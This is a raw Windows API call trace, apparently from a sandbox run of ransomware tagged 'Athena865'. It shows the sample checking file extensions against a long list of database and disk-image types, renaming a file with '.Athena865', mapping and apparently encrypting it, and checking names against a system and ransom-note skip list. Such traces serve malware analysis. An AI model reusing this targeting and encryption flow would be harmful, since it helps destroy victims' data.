1 [0062.586] lstrlenW (lpString="dbb") returned 3 [0062.586] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0062.586] lstrlenW (lpString="vmdk") returned 4 [0062.586] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0062.586] lstrlenW (lpString="rar") returned 3 [0062.586] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0062.586] lstrlenW (lpString="zip") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0062.587] lstrlenW (lpString="tgz") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0062.587] lstrlenW (lpString="vbox") returned 4 [0062.587] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0062.587] lstrlenW (lpString="vdi") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0062.587] lstrlenW (lpString="vhd") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0062.587] lstrlenW (lpString="vhdx") returned 4 [0062.587] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0062.587] lstrlenW (lpString="avhd") returned 4 [0062.587] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0062.587] lstrlenW (lpString="db") returned 2 [0062.587] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0062.587] lstrlenW (lpString="db2") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0062.587] lstrlenW (lpString="db3") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0062.587] lstrlenW (lpString="dbf") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0062.587] lstrlenW (lpString="mdf") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0062.587] lstrlenW (lpString="mdb") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0062.587] lstrlenW (lpString="sql") returned 3 [0062.587] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0062.587] lstrlenW (lpString="sqlite") returned 6 [0062.587] lstrcmpiW (lpString1="WW.cab", lpString2="sqlite") returned 1 [0062.587] lstrlenW (lpString="sqlite3") returned 7 [0062.587] lstrcmpiW (lpString1="rWW.cab", lpString2="sqlite3") returned -1 [0062.587] lstrlenW (lpString="sqlitedb") returned 8 [0062.587] lstrcmpiW (lpString1="rrWW.cab", lpString2="sqlitedb") returned -1 [0062.588] lstrlenW (lpString="xml") returned 3 [0062.588] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0062.588] lstrlenW (lpString="$er") returned 3 [0062.588] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0062.588] lstrlenW (lpString="4dd") returned 3 [0062.588] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0062.588] lstrlenW (lpString="4dl") returned 3 [0062.588] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0062.588] lstrlenW (lpString="^^^") returned 3 [0062.588] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0062.588] lstrlenW (lpString="abs") returned 3 [0062.588] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0062.588] lstrlenW (lpString="abx") returned 3 [0062.588] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0062.588] lstrlenW (lpString="accdb") returned 5 [0062.588] lstrcmpiW (lpString1="W.cab", lpString2="accdb") returned 1 [0062.588] lstrlenW (lpString="accdc") returned 5 [0062.588] lstrcmpiW (lpString1="W.cab", lpString2="accdc") returned 1 [0062.588] lstrlenW (lpString="accde") returned 5 [0062.588] lstrcmpiW (lpString1="W.cab", lpString2="accde") returned 1 [0062.588] lstrlenW (lpString="accdr") returned 5 [0062.588] lstrcmpiW (lpString1="W.cab", lpString2="accdr") returned 1 [0062.588] lstrlenW (lpString="accdt") returned 5 [0062.588] lstrcmpiW (lpString1="W.cab", lpString2="accdt") returned 1 [0062.588] lstrlenW (lpString="accdw") returned 5 [0062.588] lstrcmpiW (lpString1="W.cab", lpString2="accdw") returned 1 [0062.588] lstrlenW (lpString="accft") returned 5 [0062.588] lstrcmpiW (lpString1="W.cab", lpString2="accft") returned 1 [0062.588] lstrlenW (lpString="adb") returned 3 [0062.588] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0062.588] lstrlenW (lpString="adb") returned 3 [0062.588] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0062.588] lstrlenW (lpString="ade") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0062.589] lstrlenW (lpString="adf") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0062.589] lstrlenW (lpString="adn") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0062.589] lstrlenW (lpString="adp") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0062.589] lstrlenW (lpString="alf") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0062.589] lstrlenW (lpString="ask") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0062.589] lstrlenW (lpString="btr") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0062.589] lstrlenW (lpString="cat") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0062.589] lstrlenW (lpString="cdb") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0062.589] lstrlenW (lpString="ckp") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0062.589] lstrlenW (lpString="cma") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0062.589] lstrlenW (lpString="cpd") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0062.589] lstrlenW (lpString="dacpac") returned 6 [0062.589] lstrcmpiW (lpString1="WW.cab", lpString2="dacpac") returned 1 [0062.589] lstrlenW (lpString="dad") returned 3 [0062.589] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0062.589] lstrlenW (lpString="dadiagrams") returned 10 [0062.589] lstrcmpiW (lpString1="jPrrWW.cab", lpString2="dadiagrams") returned 1 [0062.589] lstrlenW (lpString="daschema") returned 8 [0062.590] lstrcmpiW (lpString1="rrWW.cab", lpString2="daschema") returned 1 [0062.590] lstrlenW (lpString="db-journal") returned 10 [0062.590] lstrcmpiW (lpString1="jPrrWW.cab", lpString2="db-journal") returned 1 [0062.590] lstrlenW (lpString="db-shm") returned 6 [0062.590] lstrcmpiW (lpString1="WW.cab", lpString2="db-shm") returned 1 [0062.590] lstrlenW (lpString="db-wal") returned 6 [0062.590] lstrcmpiW (lpString1="WW.cab", lpString2="db-wal") returned 1 [0062.590] lstrlenW (lpString="dbc") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0062.590] lstrlenW (lpString="dbs") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0062.590] lstrlenW (lpString="dbt") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0062.590] lstrlenW (lpString="dbv") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0062.590] lstrlenW (lpString="dbx") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0062.590] lstrlenW (lpString="dcb") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0062.590] lstrlenW (lpString="dct") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0062.590] lstrlenW (lpString="dcx") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0062.590] lstrlenW (lpString="ddl") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0062.590] lstrlenW (lpString="dlis") returned 4 [0062.590] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0062.590] lstrlenW (lpString="dp1") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0062.590] lstrlenW (lpString="dqy") returned 3 [0062.590] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0062.590] lstrlenW (lpString="dsk") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0062.591] lstrlenW (lpString="dsn") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0062.591] lstrlenW (lpString="dtsx") returned 4 [0062.591] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0062.591] lstrlenW (lpString="dxl") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0062.591] lstrlenW (lpString="eco") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0062.591] lstrlenW (lpString="ecx") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0062.591] lstrlenW (lpString="edb") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0062.591] lstrlenW (lpString="epim") returned 4 [0062.591] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0062.591] lstrlenW (lpString="fcd") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0062.591] lstrlenW (lpString="fdb") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0062.591] lstrlenW (lpString="fic") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0062.591] lstrlenW (lpString="flexolibrary") returned 12 [0062.591] lstrlenW (lpString="fm5") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0062.591] lstrlenW (lpString="fmp") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0062.591] lstrlenW (lpString="fmp12") returned 5 [0062.591] lstrcmpiW (lpString1="W.cab", lpString2="fmp12") returned 1 [0062.591] lstrlenW (lpString="fmpsl") returned 5 [0062.591] lstrcmpiW (lpString1="W.cab", lpString2="fmpsl") returned 1 [0062.591] lstrlenW (lpString="fol") returned 3 [0062.591] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0062.591] lstrlenW (lpString="fp3") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0062.592] lstrlenW (lpString="fp4") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0062.592] lstrlenW (lpString="fp5") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0062.592] lstrlenW (lpString="fp7") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0062.592] lstrlenW (lpString="fpt") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0062.592] lstrlenW (lpString="frm") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0062.592] lstrlenW (lpString="gdb") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0062.592] lstrlenW (lpString="gdb") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0062.592] lstrlenW (lpString="grdb") returned 4 [0062.592] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0062.592] lstrlenW (lpString="gwi") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0062.592] lstrlenW (lpString="hdb") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0062.592] lstrlenW (lpString="his") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0062.592] lstrlenW (lpString="ib") returned 2 [0062.592] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0062.592] lstrlenW (lpString="idb") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0062.592] lstrlenW (lpString="ihx") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0062.592] lstrlenW (lpString="itdb") returned 4 [0062.592] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0062.592] lstrlenW (lpString="itw") returned 3 [0062.592] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0062.593] lstrlenW (lpString="jet") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0062.593] lstrlenW (lpString="jtx") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0062.593] lstrlenW (lpString="kdb") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0062.593] lstrlenW (lpString="kexi") returned 4 [0062.593] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0062.593] lstrlenW (lpString="kexic") returned 5 [0062.593] lstrcmpiW (lpString1="W.cab", lpString2="kexic") returned 1 [0062.593] lstrlenW (lpString="kexis") returned 5 [0062.593] lstrcmpiW (lpString1="W.cab", lpString2="kexis") returned 1 [0062.593] lstrlenW (lpString="lgc") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0062.593] lstrlenW (lpString="lwx") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0062.593] lstrlenW (lpString="maf") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0062.593] lstrlenW (lpString="maq") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0062.593] lstrlenW (lpString="mar") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0062.593] lstrlenW (lpString="marshal") returned 7 [0062.593] lstrcmpiW (lpString1="rWW.cab", lpString2="marshal") returned 1 [0062.593] lstrlenW (lpString="mas") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0062.593] lstrlenW (lpString="mav") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0062.593] lstrlenW (lpString="maw") returned 3 [0062.593] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0062.593] lstrlenW (lpString="mdbhtml") returned 7 [0062.593] lstrcmpiW (lpString1="rWW.cab", lpString2="mdbhtml") returned 1 [0062.594] lstrlenW (lpString="mdn") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0062.594] lstrlenW (lpString="mdt") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0062.594] lstrlenW (lpString="mfd") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0062.594] lstrlenW (lpString="mpd") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0062.594] lstrlenW (lpString="mrg") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0062.594] lstrlenW (lpString="mud") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0062.594] lstrlenW (lpString="mwb") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0062.594] lstrlenW (lpString="myd") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0062.594] lstrlenW (lpString="ndf") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0062.594] lstrlenW (lpString="nnt") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0062.594] lstrlenW (lpString="nrmlib") returned 6 [0062.594] lstrcmpiW (lpString1="WW.cab", lpString2="nrmlib") returned 1 [0062.594] lstrlenW (lpString="ns2") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0062.594] lstrlenW (lpString="ns3") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0062.594] lstrlenW (lpString="ns4") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0062.594] lstrlenW (lpString="nsf") returned 3 [0062.594] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0062.594] lstrlenW (lpString="nv") returned 2 [0062.594] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0062.594] lstrlenW (lpString="nv2") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0062.595] lstrlenW (lpString="nwdb") returned 4 [0062.595] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0062.595] lstrlenW (lpString="nyf") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0062.595] lstrlenW (lpString="odb") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0062.595] lstrlenW (lpString="odb") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0062.595] lstrlenW (lpString="oqy") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0062.595] lstrlenW (lpString="ora") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0062.595] lstrlenW (lpString="orx") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0062.595] lstrlenW (lpString="owc") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0062.595] lstrlenW (lpString="p96") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0062.595] lstrlenW (lpString="p97") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0062.595] lstrlenW (lpString="pan") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0062.595] lstrlenW (lpString="pdb") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0062.595] lstrlenW (lpString="pdm") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0062.595] lstrlenW (lpString="pnz") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0062.595] lstrlenW (lpString="qry") returned 3 [0062.595] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0062.595] lstrlenW (lpString="qvd") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0062.596] lstrlenW (lpString="rbf") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0062.596] lstrlenW (lpString="rctd") returned 4 [0062.596] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0062.596] lstrlenW (lpString="rod") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0062.596] lstrlenW (lpString="rodx") returned 4 [0062.596] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0062.596] lstrlenW (lpString="rpd") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0062.596] lstrlenW (lpString="rsd") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0062.596] lstrlenW (lpString="sas7bdat") returned 8 [0062.596] lstrcmpiW (lpString1="rrWW.cab", lpString2="sas7bdat") returned -1 [0062.596] lstrlenW (lpString="sbf") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0062.596] lstrlenW (lpString="scx") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0062.596] lstrlenW (lpString="sdb") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0062.596] lstrlenW (lpString="sdc") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0062.596] lstrlenW (lpString="sdf") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0062.596] lstrlenW (lpString="sis") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0062.596] lstrlenW (lpString="spq") returned 3 [0062.596] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0062.596] lstrlenW (lpString="te") returned 2 [0062.596] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0062.596] lstrlenW (lpString="teacher") returned 7 [0062.596] lstrcmpiW (lpString1="rWW.cab", lpString2="teacher") returned -1 [0062.597] lstrlenW (lpString="tmd") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0062.597] lstrlenW (lpString="tps") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0062.597] lstrlenW (lpString="trc") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0062.597] lstrlenW (lpString="trc") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0062.597] lstrlenW (lpString="trm") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0062.597] lstrlenW (lpString="udb") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0062.597] lstrlenW (lpString="udl") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0062.597] lstrlenW (lpString="usr") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0062.597] lstrlenW (lpString="v12") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0062.597] lstrlenW (lpString="vis") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0062.597] lstrlenW (lpString="vpd") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0062.597] lstrlenW (lpString="vvv") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0062.597] lstrlenW (lpString="wdb") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0062.597] lstrlenW (lpString="wmdb") returned 4 [0062.597] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0062.597] lstrlenW (lpString="wrk") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0062.597] lstrlenW (lpString="xdb") returned 3 [0062.597] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0062.597] lstrlenW (lpString="xld") returned 3 [0062.598] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0062.598] lstrlenW (lpString="xmlff") returned 5 [0062.598] lstrcmpiW (lpString1="W.cab", lpString2="xmlff") returned -1 [0062.598] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.Athena865") returned 85 [0062.598] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.athena865"), dwFlags=0x1) returned 1 [0062.598] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0062.598] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=162970271) returned 1 [0062.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0062.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0062.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0062.599] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0062.600] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0062.600] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.600] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9b6bda0, lpName=0x0) returned 0x17c [0062.601] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x9a00000, dwNumberOfBytesToMap=0x16bda0) returned 0x2d50000 [0062.688] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0062.759] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0062.781] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0062.781] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0062.781] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0062.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0062.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0062.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0062.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0062.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0062.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0062.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0062.782] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0062.795] CloseHandle (hObject=0x17c) returned 1 [0062.795] CloseHandle (hObject=0x154) returned 1 [0062.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0062.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0062.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0062.804] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0062.804] lstrcmpiW (lpString1="setup.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0062.804] lstrcmpiW (lpString1="setup.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0062.804] lstrcmpiW (lpString1="setup.exe", lpString2=".") returned 1 [0062.804] lstrcmpiW (lpString1="setup.exe", lpString2="..") returned 1 [0062.804] lstrcmpiW (lpString1="setup.exe", lpString2="windows") returned -1 [0062.804] lstrcmpiW (lpString1="setup.exe", lpString2="bootmgr") returned 1 [0062.804] lstrcmpiW (lpString1="setup.exe", lpString2="temp") returned -1 [0062.804] lstrcmpiW (lpString1="setup.exe", lpString2="pagefile.sys") returned 1 [0062.805] lstrcmpiW (lpString1="setup.exe", lpString2="boot") returned 1 [0062.805] lstrcmpiW (lpString1="setup.exe", lpString2="ids.txt") returned 1 [0062.805] lstrcmpiW (lpString1="setup.exe", lpString2="ntuser.dat") returned 1 [0062.805] lstrcmpiW (lpString1="setup.exe", lpString2="perflogs") returned 1 [0062.805] lstrcmpiW (lpString1="setup.exe", lpString2="MSBuild") returned 1 [0062.805] lstrlenW 